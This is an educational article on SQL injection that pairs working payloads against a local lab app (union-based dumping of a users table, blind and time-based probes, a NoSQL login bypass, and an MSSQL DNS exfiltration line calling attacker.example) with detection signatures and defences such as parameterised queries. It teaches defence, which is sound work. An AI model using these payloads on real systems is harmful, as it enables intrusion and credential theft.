SQL Injection: Variants, Exploitation, and Defence

SQL injection is the oldest, best-understood, and still most consequential class of web vulnerability, catalogued as CWE-89 and ranked A03 in the OWASP Top 10. It is also the easiest to demonstrate, the easiest to fix, and the one I find most often in code review. Every year since 1998 someone has predicted it is on the way out. It is not.

This article is the deep dive companion to the web application security vulnerabilities taxonomy. I cover the mechanism, walk through every major variant with a working exploit against a minimal vulnerable app, then turn around and cover the defences in equal depth. The tools that automate the exploitation live in their own articles: the best SQL injection tools for 2026 listicle and the sqlmap cheat sheet are the natural next stops.

What SQL injection actually is

SQL injection is what happens when user-supplied data is concatenated directly into a SQL query string instead of being passed to the database as a parameter. The database receives a single string of SQL, parses it, and cannot tell which bytes the developer wrote and which bytes came from the user. Anything the user put in that looks like SQL syntax is parsed as SQL syntax.

The canonical vulnerable code, in PHP, is:

$id = $_GET['id'];
$result = mysqli_query($conn, "SELECT * FROM products WHERE id = $id");

A normal request is ?id=5, producing SELECT * FROM products WHERE id = 5. An attacker request is ?id=5 OR 1=1, producing SELECT * FROM products WHERE id = 5 OR 1=1. The WHERE clause is now always true. Every product is returned.

That is the entire mechanism. Every variant below is a different way of leveraging that same parser confusion to do something more interesting than dumping a product list.

The vulnerable app I am attacking

For every example in this article, assume a minimal PHP/MySQL app with the following routes:

• GET /product?id=<id>, vulnerable, concatenates id into the query
• GET /search?q=<query>, vulnerable, concatenates q into a LIKE clause
• POST /login, vulnerable, concatenates username and password directly into a SELECT
• GET /track?ref=<ref>, stores ref to a database; later, an admin page reads it back into another query (the second-order target)

A Docker target with this exact API is part of the techearl-labs companion repo: docker compose up sqli-basic and hit http://localhost:8080. All payloads below are reproducible against that target.

Variant 1: classic in-band SQL injection (union-based)

The attacker reads data by appending a UNION SELECT to the original query, so the database returns the original results joined with whatever the attacker chose to read.

Step 1, find the number of columns in the original query (must match for a UNION to be syntactically valid):

/product?id=5 ORDER BY 1-- -
/product?id=5 ORDER BY 2-- -
/product?id=5 ORDER BY 3-- -
/product?id=5 ORDER BY 4-- -    ← first one that errors: original has 3 columns

Step 2, find which columns are reflected in the rendered page:

/product?id=-5 UNION SELECT 1,2,3-- -

The id=-5 makes the original WHERE clause match nothing, so only the union row comes back. If 2 shows up in the product name field of the rendered page, the second column is the reflection point.

Step 3, read interesting data through that column:

/product?id=-5 UNION SELECT 1,database(),3-- -
/product?id=-5 UNION SELECT 1,version(),3-- -
/product?id=-5 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
/product?id=-5 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
/product?id=-5 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -

Five requests gets you the entire user table.

Variant 2: error-based SQL injection

If the page reflects database error messages back to the user, the attacker triggers errors that contain the data they want to read. Classic MySQL technique using EXTRACTVALUE:

/product?id=5 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))-- -

MySQL throws an XPATH syntax error containing the result of SELECT database(). PostgreSQL has equivalent gadgets using CAST to a numeric type from a text expression.

This variant is rarer in production now because most frameworks no longer ship raw database errors to the response in production mode. It is still very much alive in custom error handlers that "helpfully" include the error message.

Variant 3: boolean-based blind SQL injection

The application does not return the data and does not return errors, but does behave differently when the injected expression is true versus false. The attacker reads data one bit at a time by asking yes/no questions.

/product?id=5 AND SUBSTRING(database(),1,1)='a'-- -   ← page renders normally
/product?id=5 AND SUBSTRING(database(),1,1)='b'-- -   ← page renders normally
/product?id=5 AND SUBSTRING(database(),1,1)='m'-- -   ← page now returns "not found"

Repeat for every character position. A typical extraction is binary search per character (eight requests per character with ASCII() and comparison operators), so a thirty-character secret costs around 240 requests. Slow by hand, trivial with a script.

Variant 4: time-based blind SQL injection

When even the boolean difference is hidden (uniform 200 OK responses, identical bodies), the attacker uses query timing. Inject a conditional sleep:

/product?id=5 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -

If the first character of the database name is a, the response takes five seconds. If not, it returns instantly. Same binary-search approach as boolean blind, but each probe costs a few seconds.

Time-based is the slowest variant and the most network-noise sensitive (you need to distinguish a real five-second delay from natural latency variance). It is also the most universal: any application that talks to a database is vulnerable to time-based injection if any other variant is vulnerable.

Variant 5: out-of-band SQL injection

The application is so silent (no reflection, no errors, no behavioural difference, network-egress allowed from the database server) that the attacker has the database itself reach out to an attacker-controlled host carrying the data. MySQL on Linux historically supported LOAD_FILE and INTO OUTFILE; MSSQL has xp_dirtree and xp_cmdshell; Oracle has UTL_HTTP.

A classic MSSQL out-of-band probe:

'; DECLARE @q VARCHAR(200); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.attacker.example\test'; EXEC master..xp_dirtree @q;-- -

The database tries to resolve <password>.attacker.example via DNS. The attacker watches their authoritative DNS server logs and reads the password out of the lookup. Burp Collaborator and similar services automate the listener side.

Out-of-band exfiltration is the only realistic option against fully-blind injection on a slow connection. Requires database-server egress, which is increasingly blocked by default.

Variant 6: second-order SQL injection

The injection is stored on one request, executed on another. The first endpoint accepts the input, stores it (properly parameterised, so no exploitation here), then a different endpoint reads that stored value back from the database and concatenates it into a different query.

Vulnerable pattern:

// Endpoint A, parameterised, safe at this point:
$stmt = $conn->prepare("INSERT INTO tracking (ref) VALUES (?)");
$stmt->bind_param("s", $_GET['ref']);
$stmt->execute();

// Endpoint B (admin), reads it back and uses string concatenation:
$ref = $conn->query("SELECT ref FROM tracking WHERE id = 1")->fetch_assoc()['ref'];
$conn->query("SELECT * FROM reports WHERE ref = '$ref'");

The attacker submits ' OR 1=1-- - as the ref. It gets stored safely. When the admin endpoint runs, the stored string is treated as trusted and concatenated. Classic security failure: only the entry point was secured.

Second-order injection is one of the most-missed variants in automated scanning. Most scanners cannot connect "input here triggers behaviour there".

Variant 7: NoSQL injection

Document databases are not immune. The mechanism is different but the trust failure is identical. MongoDB with Node.js and Express:

db.users.findOne({ username: req.body.username, password: req.body.password });

If the client posts JSON like:

{ "username": "admin", "password": { "$ne": null } }

Express's body parser will hand the operator object straight through to the driver, and the query becomes { password: { $ne: null } }, which matches any non-null password. Login bypass.

NoSQL injection variants for MongoDB include operator injection, JavaScript injection via $where, and blind variants using $regex for character-at-a-time extraction. Tools like NoSQLMap (covered in the tools listicle) automate these.

Where injection lives in an HTTP request (the vectors)

The variants above describe HOW the injection works. The vectors describe WHERE the malicious input lives inside the request. Both axes are independent: any variant can pair with any vector. Time-based blind SQL injection via the User-Agent header is a real and common combination.

The full surface, with deep dives on the highest-volume vectors:

Two practical consequences for testing:

• sqlmap tests only query string and body parameters at the default --level=1. Cookies require --level=2. User-Agent and Referer require --level=3. Host and most other common headers require --level=5. Custom headers require explicit --headers='Name: value*' with a * injection-point marker.
• sqlmap's * marker works inside any value: a JSON field, a header, a URL path segment, a cookie. Use it whenever you know exactly where you want to inject.

For the full breakdown with one-paragraph descriptions and per-vector links, see the HTTP request vectors map.

How do attackers find SQL injection in the first place?

Manually, the first probes are:

Automated, the standard tool is sqlmap. A single command will fingerprint the DBMS, identify which parameters are injectable, classify the variants available, and start extracting data. The sqlmap cheat sheet and the sqlmap tutorial against a vulnerable app cover the practical workflow.

What does SQL injection look like in the logs?

In application logs, SQL injection probing usually shows as:

• Many requests to the same endpoint with varying query string lengths
• Quotes, dashes, comment markers (--, /*), UNION, SELECT, SLEEP, ORDER BY in parameter values
• A burst of identical-shaped requests differing only in numbers (binary search through ASCII)
• Long-running database queries (time-based) that match a User-Agent or IP pattern
• 500 errors clustered on parameters that normally return 200

In database logs (slow query log, audit log):

• Queries with the same prefix and wildly varying tail content
• Queries containing information_schema, pg_catalog, sys.databases from application users that should never read metadata
• Queries with SLEEP, BENCHMARK, pg_sleep from web-facing user accounts

A reasonable detection rule: flag any web-application database user that touches information_schema or the equivalent. That user should never need to, and an attacker exfiltrating schema will hit it on probe one.

Defence at the code level

The fix is parameterised queries, also called prepared statements. The OWASP SQL Injection Prevention Cheat Sheet is the canonical reference. The database receives the query string and the parameters separately. The parameters never get parsed as SQL.

PHP with PDO:

$stmt = $pdo->prepare("SELECT * FROM products WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);

Python with the standard DB-API (psycopg, mysql-connector, sqlite3):

cursor.execute("SELECT * FROM products WHERE id = %s", (request.args['id'],))

Node.js with node-postgres:

client.query('SELECT * FROM products WHERE id = $1', [req.query.id]);

Java with PreparedStatement:

PreparedStatement ps = conn.prepareStatement("SELECT * FROM products WHERE id = ?");
ps.setInt(1, Integer.parseInt(request.getParameter("id")));

This is the only fix that scales. Everything else (escaping, blacklisting, WAF rules) is patchwork.

Two cases where parameterisation does not fit:

1. Dynamic identifiers (table names, column names, ORDER BY columns) cannot be parameterised in standard SQL. You must allow-list them: check the user input against a fixed set of allowed values and reject anything else. Never concatenate.

2. Dynamic LIMIT or OFFSET in some old drivers is the same. Modern drivers handle these as parameters, but if yours does not, validate that the input matches ^[0-9]+$ before substitution.

Defence at the ORM and framework level

Every mature ORM and query builder uses parameterised queries by default. Trust the default and resist clever escapes from it:

• ActiveRecord: User.where(id: params[:id]) is safe. User.where("id = #{params[:id]}") is not.
• Django: User.objects.filter(id=request.GET['id']) is safe. User.objects.raw("SELECT ... WHERE id = %s" % request.GET['id']) is not.
• Sequelize: User.findOne({ where: { id } }) is safe. Raw queries with template-literal interpolation are not.
• Prisma: parameterised by construction; the only way to be unsafe is prisma.$queryRawUnsafe() (the name tells you).

If you find a "raw" or "Unsafe" or interpolated-string call in code review, it is your starting point. That is where SQL injection lives in modern applications.

Defence at the database level

The database itself can reduce the blast radius even when the code is wrong:

• Least-privilege database accounts. The web application's database user should have the minimum permissions to do its job. No DDL. No access to information_schema beyond what is strictly required. No FILE privilege in MySQL (which gates LOAD_FILE and INTO OUTFILE). No xp_cmdshell in MSSQL.
• Separate accounts for separate roles. The analytics service does not need to read user PII. Migration scripts do not run as the web user.
• Read replicas for read endpoints. A SELECT-only connection cannot be used to write rows even if the query string is fully attacker-controlled.
• Network egress restrictions on database servers. Block outbound DNS and HTTP from database hosts. Out-of-band SQLi dies here.
• Logging and slow-query thresholds set low enough that exploitation attempts produce telemetry.

Defence at the infrastructure level

• WAF as defence in depth, not as the only defence. A WAF with a SQL-injection ruleset catches common payloads, which is useful for forcing attackers to slow down and write tamper scripts, but it does not catch second-order injection, will not catch novel encodings, and gives you false confidence if you treat it as primary.
• Rate limit by IP and by authenticated user. Boolean and time-based extraction need hundreds to thousands of probes. A rate limit that allows 60 requests per minute per IP turns a five-minute extraction into a five-hour one and gives detection time to fire.
• Anomaly detection on database egress. If the web user account suddenly reads a thousand times more rows than it normally does, something is up.

Common defence mistakes I still see

1. Escaping instead of parameterising. mysql_real_escape_string, addslashes, custom escape functions, none of these are safe for numeric contexts (no quotes to escape) and all of them have edge cases. Parameterise.

2. Blacklisting keywords. "Block requests containing UNION or SELECT." Trivially bypassed with UnIoN, /*!UNION*/, double-encoding, comments-as-whitespace, or moving to time-based which uses none of those keywords.

3. Client-side validation only. A JavaScript regex on the input field is not a security control. The attacker sends raw HTTP.

4. Trusting one entry point and assuming the data is safe forever. This is the second-order trap. Treat data as untrusted at every point where it enters a query, regardless of where it came from in the database.

5. Stored procedures assumed safe. Stored procedures that themselves use dynamic SQL inside (concatenating parameters into an EXEC or sp_executesql call) are vulnerable to injection. The procedure boundary does not magically sanitise.

6. WAF as the only defence. See above.

7. Telling yourself "we use an ORM" without checking. Find the raw-query escape hatch in your ORM and grep your codebase for it.

Where to go next

• The sqlmap cheat sheet for the practical command reference.
• The best SQL injection tools list for 2026 to compare sqlmap with ghauri, jSQL Injection, NoSQLMap, and the manual workflow.
• The sqlmap tutorial walking through an exploitation against a vulnerable lab for an end-to-end attack.
• The sqlmap with Tor and proxychains guide for opsec when the engagement requires it.
• The sqlmap evasion and anti-detection guide for WAF bypass techniques and tamper scripts.
• The sibling injection classes: cross-site scripting, server-side request forgery, remote code execution, and XML external entities.
• Adjacent file-and-path issues: file upload vulnerabilities and path traversal.
• Back up to the web application security vulnerabilities taxonomy for the full map.